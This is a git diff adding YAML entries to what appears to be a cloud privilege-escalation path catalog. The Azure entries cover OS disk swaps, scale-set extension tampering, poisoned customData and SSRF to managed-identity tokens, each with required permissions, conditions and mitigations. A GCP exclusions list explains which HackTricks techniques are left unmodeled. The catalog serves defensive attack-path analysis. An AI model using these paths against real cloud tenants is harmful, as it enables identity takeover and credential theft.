+ source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachineswrite-os-disk-swap + source_revision: 171e422 + summary: Replacing the OS disk of a deallocated VM with a disk the source prepared boots attacker-controlled code with the VM's managed identities attached. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/write + scope: "{target.host_resource}" + - action: Microsoft.Compute/virtualMachines/deallocate/action + scope: "{target.host_resource}" + - action: Microsoft.Compute/virtualMachines/start/action + scope: "{target.host_resource}" + - action: Microsoft.Compute/disks/read + scope: "{pivot}" + - action: Microsoft.Compute/disks/write + scope: "{pivot}" + pivot_resource_type: Microsoft.Compute/disks + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: attacker_disk_available + description: The source needs a managed disk whose content it controls (uploaded image or a modified copy of a snapshot), in the same region with a compatible OS, generation and security type. + - id: downtime_tolerated + description: The VM is deallocated during the swap, which causes visible downtime. + - id: encryption_compatible + description: Disk encryption sets, confidential or Trusted Launch settings can prevent attaching a foreign disk. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict virtualMachines/write and disk writes, alert on OS disk changes, and use resource locks on critical VMs. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/os-disk-swap + notes: The pivot disk can be newly created where the source holds disks/write. Attaching an existing disk as a data disk (data access only) is excluded separately. +- id: azure-vmss-model-write + provider: azure + service: virtual_machines + title: Tamper with a scale-set model (extensions, custom data) to run code on instances + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinescalesetswrite-scale-set-model-tampering + source_revision: 171e422 + summary: Adding an extension to a scale-set model, once applied to instances, runs code as root/SYSTEM and exposes the scale set's managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.Compute/virtualMachineScaleSets/write + scope: "{target.host_resource}" + - - action: Microsoft.Compute/virtualMachineScaleSets/extensions/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachineScaleSets + scope: inherited_scope + aggregate_as: "Managed identities of scale set {target.host_resource}" + conditions: + - id: model_rollout + description: The changed model reaches instances only through an automatic or rolling upgrade policy, a manual instance upgrade or reimage (separate actions), or new instances created by a scale-out (which virtualMachineScaleSets/write can trigger). + - id: aks_node_pools + description: For AKS node pools the node resource group is normally protected by a deny assignment. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict virtualMachineScaleSets/write and extensions/write, allow-list extensions with Azure Policy, and alert on scale-set model changes. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-upgrade-policy + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute + notes: Microsoft.Compute/virtualMachineScaleSets/virtualMachines/manualUpgrade/action is the documented per-instance upgrade action but is not in the local permission catalog, so it is described as a condition instead of a requirement. +- id: azure-vm-customdata-reimage + provider: azure + service: virtual_machines + title: Re-execute poisoned customData by reimaging or redeploying a VM + source: src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md#reimage--redeploy-to-re-execute-poisoned-customdata + source_revision: 171e422 + summary: Setting customData and forcing re-provisioning makes cloud-init run attacker code in the guest, exposing the VM's managed identities. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/write + scope: "{target.host_resource}" + any_of: + - - action: Microsoft.Compute/virtualMachines/reimage/action + scope: "{target.host_resource}" + - - action: Microsoft.Compute/virtualMachines/redeploy/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: cloud_init_reprocesses_customdata + description: The image must run cloud-init (or an equivalent agent) on re-provisioning and the platform must accept the customData change for that VM; redeploy does not always re-run provisioning. + - id: destructive + description: Reimage resets the OS disk, which is disruptive to the workload. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict virtualMachines/write, reimage/action and redeploy/action (Virtual Machine Contributor, Contributor) and alert on osProfile changes and reimage operations. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/custom-data +- id: azure-vm-verified-ssrf-imds + provider: azure + service: virtual_machines + title: Verified VM SSRF to managed identity + source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#trusted-ip-and-metadata-abuse + source_revision: 0b36331 + summary: A verified SSRF on a VM retrieves its managed-identity token. + source_kind: azure_challenge_foothold + requires: + all_of: [] + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-vm-verified-ssrf-imds + scope: any + aggregate_as: Verified VM SSRF to managed identity targets + conditions: + - id: verified_runtime_evidence + description: Exact source, target and successful credential or token access must be attested; absent evidence + remains UNKNOWN. + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + confidence: conditional + severity: high + mitigation: Remove the vulnerable access path or exposed credential. + references: + - https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token + notes: 'Collector fact required: azure_privesc_challenge_evidence; exact technique/source/target evidence required, + absent => UNKNOWN.' +- id: azure-gallery-verified-image-secret + provider: azure + service: virtual_machines + title: Read shared gallery image with verified cloud credential + source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/resource-and-service-sharing-attacks.md#resource--service-sharing-matrix + source_revision: 0b36331 + summary: Read an accessible gallery image version containing a validated cloud credential. + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + requires: + all_of: + - action: Microsoft.Compute/galleries/images/versions/read + scope: '{pivot}' + target: + kind: azure_service_principal + selector: + azure_challenge_fact: azure-gallery-verified-image-secret + scope: any + aggregate_as: Read shared gallery image with verified cloud credential targets + conditions: + - id: verified_runtime_evidence + description: Exact source, target and successful credential or token access must be attested; absent evidence + remains UNKNOWN. + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + confidence: conditional + severity: high + mitigation: Remove the vulnerable access path or exposed credential. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/share-gallery + notes: 'Collector fact required: azure_privesc_challenge_evidence; exact technique/source/target evidence required, + absent => UNKNOWN.' diff --git a/src/privilege-escalation-paths-research/gcp/_excluded.yaml b/src/privilege-escalation-paths-research/gcp/_excluded.yaml new file mode 100644 index 0000000000..184c438294 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/_excluded.yaml @@ -0,0 +1,2765 @@ +# GCP privesc catalog: techniques / page sections from the assigned HackTricks pages that are +# deliberately NOT modelled as identity edges (pure data reads, DoS, guardrail/config tamper, +# persistence-only, network pivots without an identity, OIDC-only token minting, replay of +# existing workloads, recon/intro/reference sections, or anchors already covered by an entry). +# Pages: hacktricks-cloud @ a53b46392c, re-verified against 171e422 (see ledgers/privesc-gcp.md) +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-workload-identity-federation-persistence.md#iamgoogleapiscomworkloadidentitypoolscreate--workloadidentitypoolproviderscreate--external-backdoor + technique: New workload identity pool and provider backdoor + reason: The path also requires iam.serviceAccounts.setIamPolicy on the target SA; that permission alone can grant the caller Token Creator or Workload Identity User and is modeled by gcp-iam-serviceaccounts-setiampolicy. Pool/provider creation is a durable alternate credential mechanism, not an additional target. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-certificate-manager-post-exploitation.md#public-ca-publiccagoogleapiscom + technique: Public CA section introduction + reason: The heading names the Public CA endpoint and introduces the ACME account section; creating an ACME account is reviewed under its own heading and does not grant a GCP IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--scopescloud-platform-at-cluster-create--oauth-scope-amplification-of-a-stolen-node-token + technique: Dataproc cloud-platform scopes at cluster creation + reason: The same dataproc.clusters.create plus iam.serviceAccounts.actAs combination and chosen service-account target are modeled by gcp-dataproc-clusters-batches-create-actas; its access_scopes condition covers the create-time cloud-platform flag. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--metadata-startup-script--ssh-keys-at-cluster-create--root-node-takeover-without-an-init-action + technique: Dataproc startup metadata at cluster creation + reason: The same dataproc.clusters.create plus iam.serviceAccounts.actAs combination and chosen service-account target are modeled by gcp-dataproc-clusters-batches-create-actas; its cluster_code_path condition explicitly covers startup-script and ssh-keys metadata. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md#config-delivery-configdeliverygoogleapiscom + technique: Config Delivery page introduction + reason: This heading names the service endpoint and introduces the feature; the manifest-publishing permission combination is modeled at its dedicated technique anchor by gcp-configdelivery-fleetpackage-publish. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/iam-and-service-account-impersonation-attacks.md#actas-and-cross-project-attachment + technique: Cross-project service-account attachment overview + reason: The section describes iam.serviceAccounts.actAs plus a workload-create permission; the matching Compute, Cloud Run, Functions and other deployment entries model those combinations, with the cross-project org-policy constraint recorded as a blocker. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/iam-and-service-account-impersonation-attacks.md#setiampolicy-backdoors-and-public--cross-domain-bindings + technique: Cross-domain IAM policy self-grant overview + reason: The section's project, folder, organization and service-account setIamPolicy self-grants are modeled by the resourcemanager and IAM setIamPolicy entries; choosing an external member does not change the prerequisite permission or reached identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#public-exposure-without-an-allusers-binding----no-invoker-iam-check-drs-bypass + technique: Public exposure via invoker IAM check disable + reason: Exposes the service's existing functionality to the internet; no new identity for the source. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobsrun-alone-on-a-pre-existing-job--run-as-its-pinned-sa + technique: run.jobs.run alone on an existing job + reason: Executes only the job's existing image/args; the source cannot run its own code as the SA, so it does not obtain the SA's privileges (confused-deputy only). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computemachineimagessetiampolicy + technique: Machine image setIamPolicy + reason: Self-granted resource access can expose offline filesystem data only after machine image useReadOnly plus destination reconstruction permissions and CMEK access. Credential escalation additionally needs a live reusable credential or private key in the reconstructed bytes and a principal whose access it grants; policy write alone does not prove either. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computesnapshotssetiampolicy + technique: Snapshot setIamPolicy + reason: Self-granted resource access can expose offline filesystem data only after snapshot useReadOnly plus destination disk/image creation and CMEK access. Credential escalation additionally needs a live reusable credential or private key in the reconstructed bytes and a principal whose access it grants; policy write alone does not prove either. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computediskssetiampolicy + technique: Disk setIamPolicy + reason: Self-granted resource access can expose offline filesystem data only after disk snapshot/attachment or export permissions, destination access and CMEK access. Credential escalation additionally needs a live reusable credential or private key in the reconstructed bytes and a principal whose access it grants; policy write alone does not prove either. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#local-privilege-escalation-in-gcp-compute-instance + technique: Local privesc inside a VM + reason: Requires prior code execution on the VM (host-level), covered by gcp-local-privilege-escalation-ssh-pivoting.md. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtasksqueuescreate--cloudtasksqueuesupdate--queue-level-urioverride-silent-traffic-hijack--token-attach + technique: Queue-level uriOverride hijack + reason: Queue update plus actAs can redirect later legitimate deliveries without caller tasks.create; this is not covered by gcp-cloudtasks-tasks-create-actas. Credential capture requires an existing/future successfully enqueued task (enqueuer also passes actAs), dispatch to an attacker-controlled HTTPS endpoint, and a relying service accepting the token audience. Those later runtime and audience facts are not established by queue IAM configuration. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtaskstaskscreate-app-engine-target--actas-free-app-engine-app-invocation + technique: App Engine tasks without actAs + reason: Reaches the app's handlers as a trusted request; no identity is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtaskstasksrun-cloudtaskstaskslist + technique: Run existing tasks + reason: Replays only existing tasks' predefined requests; the source cannot choose the request. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersget + technique: clusters.get / getCredentials + reason: Only obtains cluster access with the caller's own RBAC; no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsgetlogs + technique: Read pod logs + reason: Reading pod logs can expose bearer tokens or bootstrap secrets only if the known Pod actually logged a live reusable credential; the log bytes, credential principal and validity are runtime content facts not determined by container.pods.getLogs. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsattach + technique: Attach to running containers + reason: Attach reaches a pod identity only when a known running process accepts stdin and permits commands or token reads. Pod configuration does not prove that process behavior; see the proposed attach-usable-process collector. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsportforward + technique: Port-forward to pods + reason: A tunnel can reach privileged functionality only if a known Pod-side endpoint is listening and exposes + a usable admin action or live credential; endpoint behavior, authentication and credential scope are runtime + facts absent from the snapshot. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsproxy--containerservicesproxy + technique: Proxy to pods/services + reason: Proxy access can recover a secret only when a known internal HTTP endpoint returns a live reusable credential + or performs a privileged action; route, response content, authentication and target principal are runtime facts + absent from the snapshot. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersupdate--access-control--security-config-tamper + technique: clusters.update security tamper + reason: Authorized-network and Binary Authorization changes alone weaken guardrails. Node-pool metadata-mode change is separately modeled by gcp-container-updatenodepool-expose-node-sa and requires a usable pod plus node-SA scopes. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#gkehubgatewaygeneratecredentials--kubectl-via-connect-gateway-no-network-path + technique: Connect Gateway credentials + reason: Network reach only; in-cluster power is the caller's own RBAC. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#gkehubmembershipssetiampolicy--self-grant-connect-gateway-access + technique: memberships.setIamPolicy self-grant gateway + reason: Grants gateway reach only (RBAC still caps power); the cluster-admin path is gcp-gkehub-rbacrolebindings-gateway. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#gkehub--fleet--connect-gateway + technique: Fleet section intro + reason: Section heading; techniques modelled under their own anchors. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifact-registry + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md#batch + technique: Section intro + reason: Introductory heading; technique modelled as gcp-batch-jobs-create-actas. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquery + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#cloud-deploy + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#container-breakout-via-docker-socket-container---vm---project + technique: Docker socket breakout + reason: Local escalation inside an already-accessible workstation; the VM identity is the config SA already covered by the workstation entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#dataplex + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-infra-manager-privesc.md#infrastructure-manager + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-integration-connectors-privesc.md#integration-connectors + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#secure-source-manager + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#branch-protection--pr-review-bypass--slip-code-past-review + technique: Branch protection / PR review bypass + reason: Guardrail bypass enabling gcp-securesourcemanager-push-cicd; no identity by itself. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#source-repositories + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#apigee + technique: Section intro + reason: Introductory heading (runtime Message Processor SSRF pivot is documented on another page). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#vertex-ai + technique: Section intro + reason: Introductory heading (Agent Engine post-exploitation is documented elsewhere). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#app-engine + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloud-scheduler + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloud-tasks + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composer + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#compute + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#container + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md#dataflow + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataproc + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#steps-to-exploit + technique: Exploitation steps sub-section + reason: Steps for the job-submit technique; covered by the dataproc entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-infra-manager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-integration-connectors-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#os-config + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#cloud-run + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storage + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflows + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iam + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#introduction-to-gcp-privilege-escalation + technique: Introduction + reason: Introductory text; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#permissions-for-privilege-escalation-methodology + technique: Methodology + reason: Methodology overview; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#abusing-gcp-to-escalate-privileges-locally + technique: Local escalation pointer + reason: Pointer to the local privilege escalation page (excluded there). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#privilege-escalation-techniques + technique: Techniques index + reason: Index of the service pages; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#access-context-manager-accesscontextmanagergoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#recon--map-the-orgs-entire-exfil-posture-read-only + technique: Recon + reason: Read-only enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#analytics-hub + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md#api-keys + technique: Page intro; standard API key create / list / getKeyString / restriction update (Rhino CreateAPIKey, ViewExistingAPIKeys) + reason: A standard API key identifies a consumer project for quota and billing and does not authenticate an IAM principal (page intro at 171e422); only service-account-bound authorization keys are an identity edge (gcp-apikeys-authorization-key-bound-sa). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtable + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-billing-privesc.md#cloud-billing + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-billing-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#certificate-authority-service-cas + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-database-migration-privesc.md#database-migration-service-datamigrationgoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-database-migration-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#datastream-datastreamgoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#datastreamconnectionprofilescreate--datastreamstreamscreate--full-database-copy-out-confused-deputy + technique: Stream database copy-out + reason: Data exfiltration (confused deputy); no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebase + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#identity-aware-proxy-iap + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iaptunnelinstancesaccessviaiap--ssh--tunnel-to-internal-only-vms + technique: IAP tunnel access + reason: Network access path; logging in still requires OS Login/SSH key techniques (modelled in compute). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iaptunnelinstancessetiampolicy--iaptunnelzonessetiampolicy + technique: IAP tunnel setIamPolicy + reason: Grants network tunnel access only. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iapweb-resources + technique: IAP web resources + reason: Grants web access to an app; app access is not a GCP identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iapwebupdatesettings--weaken-iap-enforcement-settings-tamper + technique: IAP settings tamper + reason: Guardrail tamper. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#kms + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#cloudkmscryptokeyversionsusetodecrypt + technique: Decrypt + reason: Direct decrypt grants plaintext access. A principal edge needs an obtainable ciphertext under this key + whose plaintext is a still-valid credential for a named principal; neither ciphertext contents nor validity + are in the snapshot. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#cloudkmscryptokeyssetiampolicy + technique: CryptoKey setIamPolicy + reason: The key policy setter can self-grant Decrypter, but a principal edge additionally needs obtainable ciphertext + containing a valid credential. No ciphertext-to-principal evidence is collected; record key-use privilege separately + only after a data-privilege target exists. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#cloudkmscryptokeyversionsusetodecryptviadelegation + technique: Decrypt via delegation + reason: useToDecryptViaDelegation authorizes an integrated service decrypt path, not a direct Decrypt request. + 